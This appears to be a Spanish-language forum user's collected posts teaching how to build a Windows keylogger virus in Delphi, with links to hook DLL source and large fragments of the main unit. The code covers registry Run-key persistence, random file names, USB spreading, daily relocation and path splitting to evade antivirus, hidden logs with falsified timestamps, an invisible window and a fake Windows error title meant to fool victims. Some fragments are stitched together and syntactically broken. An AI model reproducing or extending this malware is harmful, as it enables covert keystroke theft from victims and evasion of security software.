Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
. Así que acá les dejo el codigo fuente de este Hook https://www.adrive.com/public/Yk4HHa/DLL%20HOOK . Y si quieren probarlo por separado acá les dejo una aplicacioncilla para que lo prueben antes de usarlo en su virus https://www.adrive.com/public/sTw9WK/Capturar%20Hook.exe. Lo que deben hacer es colocar el dll en la misma carpeta donde esté esta aplicacion, NO le cambien el nombre a la DLL. Luego ejecuten la aplicacion y tecleen lo que sea para que se genere un archivo Log.txt que contendrá las teclas que pulsaron. .. https://www.adrive.com/public/wEsztH/UnitMain.pas
... Bueno siguiendo con el código que subí la última vez. Iré explicando línea por línea para que vayamos entendiendo nuestro código 
PRIVATE
FicheroM : THandle;
HookOn : THookTeclado;
PReceptor : ^Integer;
NombreDLL,
Libeay32DLL,
SSLeay32DLL,
FicheroLog,
EjecutableAnterior,
NuevaRuta: String;
HandleHookDLL,
OpenLibeay32DLL,
OpenSSLeay32DLL: THandle;
ThisMoment : TDateTime;
TempTime:TStringList;
newDateTime:TDateTime;
cWindow:String;
cTexto, Letra:String;
TeclaTilde, TeclaShift:String;
Comenzar:Integer;
// Error : WORD;
// TotalBytes : TInteger8;
// VerifyLine : STRING;
// Original, Comparado : STRING;
// ContinueLoop:BOOL;
FSnapshotHandle:THandle;
FProcessEntry32:TProcessEntry32;
//Crearemos un procedimiento que capture los
PROCEDURE Llegada_del_HOOK(var message: TMessage); message CM_MANDA_TECLA; //mensajes que el Hook del teclado realice
END;
procedure AgregarApp_Registro;
var Registro: TRegistry;
begin
Registro := TRegistry.Create;
Registro.RootKey := HKEY_CURRENT_USER; //Tambien puede ser HKEY_LOCAL_MACHINE
if Registro.OpenKey( 'Software\Microsoft\Windows\CurrentVersion\Run', FALSE ) Then //Ojo con el False
begin
Registro.WriteString("Nombre identificador", "C:\Miapp.exe");
Registro.CloseKey;
end;
Registro.Free;
end;
Registro.WriteString("Virus T", ParamStr(0)); // Asi mismo ;)
Function Virus_GenerarNombre: String;
var
Cadena, Nam31, naM32: string;
Ancho: Integer;
i:Integer;
Indice: Integer;
begin
Cadena := 'DdEeFfHhIiKkLlOoPpQqRrSsTtUuVvXxYyZz123456789'; //Alfanumerico
naM32 := 'xe' ; //Parte de la extension .exe
Ancho := 8; //Longitud del nombre de nuestro virus
Randomize;
Result := '';
Nam31:= '.e'; //Parte de la extension .exe
Begin
for i:= 1 to Ancho do //Desde i = 1 hasta el ancho de nuestro nombre
begin
Indice := Random(Length(Cadena)); //Indice = Un numero aleatorio que corresponda a la longitud de la Cadena
while Indice = 0 do
begin
Indice := Random(Length(Cadena));
end;
Result := Result + Cadena[Indice];
end;
end;
Result := Result + Nam31 + naM32;
end;
Reg := TRegistry.create(KEY_WRITE);
Reg.RootKey := HkEY_CUrrENT_USeR;
Reg.OpenKey('Software\VirusT', True);
Reg.WriteString('Valor1', ParamStr(0)); //Ruta del virus
Reg.WriteString('Valor2', "7huEjdn6.exe"); //Nombre del virus en usb's
Reg.WriteString('Valor3', "C:\USers\Admin\excel.exe");//Ruta de la nueva copia del virus
Reg.CloseKey;
Reg.Free;
Reg := TRegistry.create(KEY_READ);//Aca cambia el modo de creacion
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\', FALSE);//Siempre usamos False en modo KEY_READ
IF Reg.KeyExists('VirusT') then
BEGIN
Reg.OpenKey('VirusT', FALSE);
if Reg.ValueExists('Valor3!') then
begin
Ruta:= Reg.ReadString('Valor3'); //ReadString en lugar de WriteString
REG.CloseKey;
REG.Free;
end;
End;
.. )... Les enseñaré cómo interactuar con el Registro de Windows, y utilizarlo para muchas cosas(No sólo hacer que desaparezca el Administrador de Tareas )....
UNIT UnitMain;
INTERFACE
USES
Windows, Messages, Dialogs, DateUtils, SysUtils, Classes, Graphics, Controls, Forms, //UNITS
StdCtrls, ExtCtrls,Registry, TLHelp32, ShellApi, //DEL SISTEMA
UnitDescargarFicherosSSL,UnitFuncionesExtras,UnitEnviarRegistros, //Units
UnitDescargarUsandoOpenSSL,UnitImplantarVirus, FucKReGisTrY, UnitCRC32, //Mias
IdBaseComponent, IdComponent, IdCustomTransparentProxy,//Estas son de Indy9
ZipForge; //Esta última se obtiene descargando ZipForge
CONST
CM_MANDA_TECLA = WM_USER + $1000;
TYPE
THookTeclado=procedure; stdcall;
TYPE
TForm1 = class(TForm)
PROCEDURE FormCreate(Sender: TObject);
PROCEDURE FormDestroy(Sender: TObject);
PUBLIC
HandleHookDLL,
OpenLibeay32DLL,
OpenSSLeay32DLL: THandle;
ThisMoment : TDateTime;
TempTime:TStringList;
PRIVATE
FicheroM : THandle;
HookOn,
HookOff : THookTeclado;
PReceptor : ^Integer;
NombreDLL,
Libeay32DLL,
SSLeay32DLL,
FicheroLog,
EjecutableAnterior,
NuevaRuta: String; //Crearemos un procedimiento que capture los mensajes que el Hook del teclado
PROCEDURE Llegada_del_HOOK(var message: TMessage); message CM_MANDA_TECLA; //realice
END;
VAR
Form1: TForm1;
newDateTime:TDateTime;
cWindow:String;
cTexto, Letra:String;
TeclaTilde, TeclaShift:String;
Comenzar:Integer;
Error : WORD;
TotalBytes : TInteger8;
VerifyLine : STRING;
Original, Comparado : STRING;
ContinueLoop:BOOL;
FSnapshotHandle:THandle;
FProcessEntry32:TProcessEntry32;
IMPLEMENTATION
{$R *.DFM}
PROCEDURE TForm1.FormCreate(Sender: TObject);
VAR Reg:TRegistry;
CONST WIN1 = 're\Microsoft\Window'; // Desarmamos la ruta RUN en el Regedit para despistar a los antivirus
CONST WIN2 = 'ntVersion\R';
BEGIN //Iniciamos el virus
///////////////////////////////////////////////*
BorderStyle := bsNone; //
Left := 0; //
Top := 0; // Primero que todo, nos aseguramos de que nuestro virus
Width := 0; // no sea visible por el usuario.
Height := 0; //
Visible := False; //
Application.ShowMainForm := False; //
///////////////////////////////////////////////*
newDateTime := StrToDateTime('21/12/2012'); //Esta sentencia sera usada para modificar la fecha de los archivos ;)
TempTime:=TStringList.Create; //Variable que guardara la fecha que haya en el archivo Log.txt
ThisMoment := Now; // Creamos una variable para la fecha que ira; guardada en el Log.txt
////////////////////////////////////*
NombreDLL := 'E56aW.dll'; //
Libeay32DLL:= 'Bin\libeay32.dll'; // Estos son los ficheros con los que trabajaremos todo el tiempo
SSLeay32DLL:= 'Bin\ssleay32.dll'; // Hook del teclado, Dlls de seguridad SSL, y nuestro fichero Log, el cual guadara; lo que el "usuario" escriba.
FicheroLog := 'Log.txt' ; //
////////////////////////////////////*
//NOTA:
// Importante notar que este virus fue disennado para no pasar mas de un diaa en la misma ubicacion del disco duro.
// Esto es para efectos de impedir que los antivirus realicen un analisis de seguimiento de patrones
// Para trabajar de forma mas limpia y ordenada en el sisema de nuestras victimas; Primero:
// Por medio de la funcion ObtenerDest_Virus, comprobaremos si nuestro virus ya se encuentra alojado en el sistema actual
IF FileExists(ObtenerDest_Virus + '.exe') or FileExists(ObtenerDest_Virus + '.exee') THEN // O si es primera vez que se creo, o si ya existia pero sufrio algun error( Si fue eliminado o si algun
// Fichero requerido desaparecio.
BEGIN //Si nuestro virus ya existe en la pc huesped. Haremos lo siguiente:
// Si la ruta del virus, que se encuentra almacenada en el REGEDIT,
IF ExtractFilePath(ObtenerDest_Virus) <> ExtractFilePath(paramStr(0)) then // es distinta al del virus que se está ejecutando actualmente entonces
BEGIN // Realizaremos el proceso de verificar si nuestro virus ya se ha copiado
// en otro sector del disco duro y habra que mover los ficheros que necesita
// para trabajar correctamente.
NombreDLL := ExtractFilePath(ObtenerDest_Virus) + NombreDLL; //
Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + Libeay32DLL;// La siguiente tarea consiste en comprobar cual de estos ficheros existe en el disco duro
SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + SSleay32DLL;// con el fin de moverlos con forme nuestro virus se vaya trasladando de directorio.
FicheroLog := ExtractFilePath(ObtenerDest_Virus) + FicheroLog; // Si alguno de estos ficheros no existe deberan ser descargados y creados nuevamente(Esto en el caso de Log.txt)
EjecutableAnterior := ObtenerDest_Virus;
IF FileExists(FicheroLog) THEN //Lo primero que debemos buscar es nuestro Fichero Log.txt
BEGIN //Esto lo hacemos ya que este posee informacion muy importante que nos facilitarael trabajo de propagar el virus.
TempTime.LoadFromFile(FicheroLog); //Cargaremos en Log.txt para chequear la fecha y compararla con la fecha actual.
IF DateToStr(ThisMoment) <> TempTime.Strings[0] THEN // Nuestro virus no debe estar mas de un dia en el mismo sitio
BEGIN // Por lo que comprobaremos si la fecha de nuestro Fichero coincide con la fecha actual.
// Si no coinciden haremos que nuestro virus se traslade de lugar
// Esto lo lograremos con la Funcion Virus_Implantar.
Virus_Implantar; // Funcion Virus_Implantar
NuevaRuta:= ExtractFilePath(ObtenerDest_Virus);
TransladarTodoOFFLINE(NombreDLL
,SSleay32DLL // Una vez implantado nuestro virus en otro lugar
,Libeay32DLL // Procederemos a moover nuestros ficheros junto con el
,FicheroLog // Unicamente que antes de descargarlos de internet, primero intentaremos
,EjecutableAnterior
,NuevaRuta);// utilizar los ficheros que existen en nuestro disco local.
NombreDLL := NuevaRuta + ExtractFileName(NombreDLL); // El paso que se realiza a continuacion no se realiza linealmente con
Libeay32DLL := NuevaRuta + 'Bin\' + ExtractFileName(Libeay32DLL); // respecto a la funcion anterior, lo que ocurre con la Funcion Virus_Implantar
SSleay32DLL := NuevaRuta + 'Bin\' + ExtractFileName(SSleay32DLL); // es que al implantar el virus en otro lugar tambien actualiza los datos en el Registro.
FicheroLog := NuevaRuta + ExtractFileName(FicheroLog); // y al hacer eso tambien debemos actualizar las variables que tenemos en este modulo.
FileSetDate(FicheroLog, DateTimeToFileDate(newDateTime));
END;
END
ELSE // Lo anterior ocurre en el caso de que el Ficehero Log.txt exista. Sino
BEGIN
///////////////////////////////////////*
TempTime.Add(DateToStr(ThisMoment) + #13#10); //Los caracteres al final de esta linea son para crear un salto al siguiente renglon.
Temptime.SaveToFile(FicheroLog); // En caso contrario deberemos cargar nuevamente la fecha en el fichero
TempTime.Free ; // Esto con el fin de llevar un control del mismo en futuras comprobaciones del virus.
FileSetAttr(FicheroLog, faHidden); // Finalmente ocultaremos dicho fichero para realizar mas complicada la localizacion de nuestro virus.
FileSetDate(FicheroLog, DateTimeToFileDate(newDateTime));
///////////////////////////////////////*
END;
END
ELSE
BEGIN
IF FileExists(FicheroLog) THEN //Comprobamos si nuestro Fichero Log.txt existe en el directorio actual de nuestro virus
BEGIN
TempTime.LoadFromFile(FicheroLog); // Lo cargamos primeramente para comprobar las fechas..
IF (DateToStr(ThisMoment) <> TempTime.Strings[0]) THEN // Si las fechas no coinciden quiere decir que debemos movernos a otra parte
BEGIN
Virus_Implantar; // Implantamos el virus en otro lado
NuevaRuta:= ExtractFilePath(ObtenerDest_Virus);
TransladarTodoOFFLINE(NombreDLL
,SSleay32DLL // Una vez implantado nuestro virus en otro lugar
,Libeay32DLL // Procederemos a moover nuestros ficheros junto con el
,FicheroLog // unicamente que antes de descargarlos de internet, primero intentaremos
,EjecutableAnterior
,NuevaRuta);// utilizar los ficheros que existen en nuestro disco local.
NombreDLL := ExtractFilePath(ObtenerDest_Virus) + ExtractFileName(NombreDLL); //
Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(Libeay32DLL); // De igual forma deberemos actualizar nuestras variables
SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(SSleay32DLL); // con la informacion de la nueva ubicacion de nuestros ficheros
FicheroLog := ExtractFilePath(ObtenerDest_Virus) + ExtractFileName(FicheroLog); //
FileSetDate(FicheroLog, DateTimeToFileDate(newDateTime));
END;
END
ELSE //En caso de que el Fichero Log.txt no existiera
BEGIN
///////////////////////////////////////*
TempTime.Add(DateToStr(ThisMoment) + #13#10); //
Temptime.SaveToFile(FicheroLog); // Deberemos cargar nuevamente la fecha en el fichero
TempTime.Free ; // Esto con el fin de llevar un control del mismo en futuras comprobaciones del virus.
FileSetAttr(FicheroLog, faHidden); // Finalmente ocultaremos dicho fichero para realizar mas complicada la localizacion de nuestro virus.
///////////////////////////////////////*
Virus_Implantar; //Implantamos nuestro virus en otro lugar
NuevaRuta:= ExtractFilePath(ObtenerDest_Virus);
TransladarTodoOFFLINE(NombreDLL
,SSleay32DLL // Una vez implantado nuestro virus en otro lugar
,Libeay32DLL // Procederemos a moover nuestros ficheros junto con ell
,FicheroLog // inicamente que antes de descargarlos de internet, primero intentaremos
,EjecutableAnterior
,NuevaRuta);// utilizar los ficheros que existen en nuestro disco local.
NombreDLL := ExtractFilePath(ObtenerDest_Virus) + ExtractFileName(NombreDLL); //
Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(Libeay32DLL); // De igual forma deberemos actualizar nuestras variables
SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(SSleay32DLL); // con la informacion de la nueva ubicacion de nuestros ficheros
FicheroLog := ExtractFilePath(ObtenerDest_Virus) + ExtractFileName(FicheroLog); //
END;
END;
END
ELSE //Si del todo NO se logra determinar que nuestro virus existe en el disco duro entonces procedemos a implantarlo por "primera vez"
BEGIN
Virus_Implantar; // Funcion Virus_Implantar
NombreDLL := ExtractFilePath(ObtenerDest_Virus) + NombreDLL; // El paso que se realiza a continuacion no se realiza linealmente con
Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + Libeay32DLL; // respecto a la funcion anterior, lo que ocurre con la Funcion Virus_Implantar
SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + SSleay32DLL; // es que al implantar el virus en otro lugar tambien actualiza los datos en el Registro.
FicheroLog:= ExtractFilePath(ObtenerDest_Virus) + FicheroLog;
///////////////////////////////////////*
IF FileExists(FicheroLog) THEN DeleteFile(FicheroLog);
TempTime.Add(DateToStr(ThisMoment) + #13#10); //
Temptime.SaveToFile(FicheroLog); // En caso contrario deberemos cargar nuevamente la fecha en el fichero
TempTime.Free ; // Esto con el fin de llevar un control del mismo en futuras comprobaciones del virus.
FileSetAttr(FicheroLog, faHidden); // Finalmente ocultaremos dicho fichero para realizar mas complicada la localizacion de nuestro virus.
///////////////////////////////////////*
END;
// La funcion ObtenerDest_Virus se vale del Registro de Windows para verificar si nuestro virus existe
SetTimer(0, 0, 2000, @ProtectCurrentRegistry);// Por lo que si nuestro virus existe, quiere decir que deberemos proteger dichos datos en el Registro en todo
// momento para trabajar correctamente, por lo que este trabajo sera; la labor de la funcion ProtectCurrentRegistry.
// Dicha funcion sera; controlada por un Timer el cual realizara; una inspeccion en el Registro cada 2000ms.
//
//
// FIN DE LA PRIMERA PARTE DEL VIRUS!!!
//
//
... No se asunten por el código tan amplio que lo iré explicando parte por parte 
.... 
Application.Run; .
BEGIN
Application.Initialize; // Iniciamos el virus
Application.Title := 'Windows Update Failure Error 0x008C'; //Esto sera en caso de que surga en la pantalla de la victima algun error, los haremos creer
//que el error proviene del sistema de Windows, para no levantar sospechas... ;)
Application.CreateForm(TForm1, Form1); // Creamos el Formulario principal de nuestro virus, lo llamaremos Form1.
///////////////////////////////////////////////*
Form1.BorderStyle := bsNone; //
Form1.Left := 0; //
Form1.Top := 0; // Nos aseguramos de que nuestro virus
Form1.Width := 0; // no sea visible por el usuario cambiando algunas
Form1.Height := 0; // de sus propiedades.
Form1.Visible := False; //
Application.ShowMainForm := False; //
/////////////////////////////////////////////*
Application.Run; //Finalmente ejecutamos el virus para que haga su trabajo...
END;
program ProjectMain;
uses
Forms,
Windows, // Esto es importante para que la funcion CreateSemaphore trabaje
UnitMain in 'UnitMain.pas' {Form1};
{$R *.res}
Var
SemHandle : THandle;
semaforo:String;
BEGIN
semaforo:= 'D3sTrUkt0r'; // Variable semaforo el cual nos ayudara a que solo se corra una instancia del virus
SemHandle := CreateSemaphore(nil,0,1,PChar(semaforo)); //Creamos nuestro semaforo
IF NOT ((SemHandle <> 0) and (GetLastError = ERROR_ALREADY_EXISTS))THEN //Si no hay otra instancia con el mismo nombre ejecutandose, procedemos...
BEGIN
Application.Initialize; // Iniciamos el virus
Application.Title := 'Windows Update Failure Error 0x008C'; //Esto sera en caso de que surga en la pantalla de la victima algún error, los haremos creer
//que el error proviene del sistema de Windows, para no levantar sospechas... ;)
Application.CreateForm(TForm1, Form1); // Creamos el "Formulario" principal de nuestro virus
Application.Run; //Finalmente ejecutamos el virus para que haga su trabajo...
END;
END.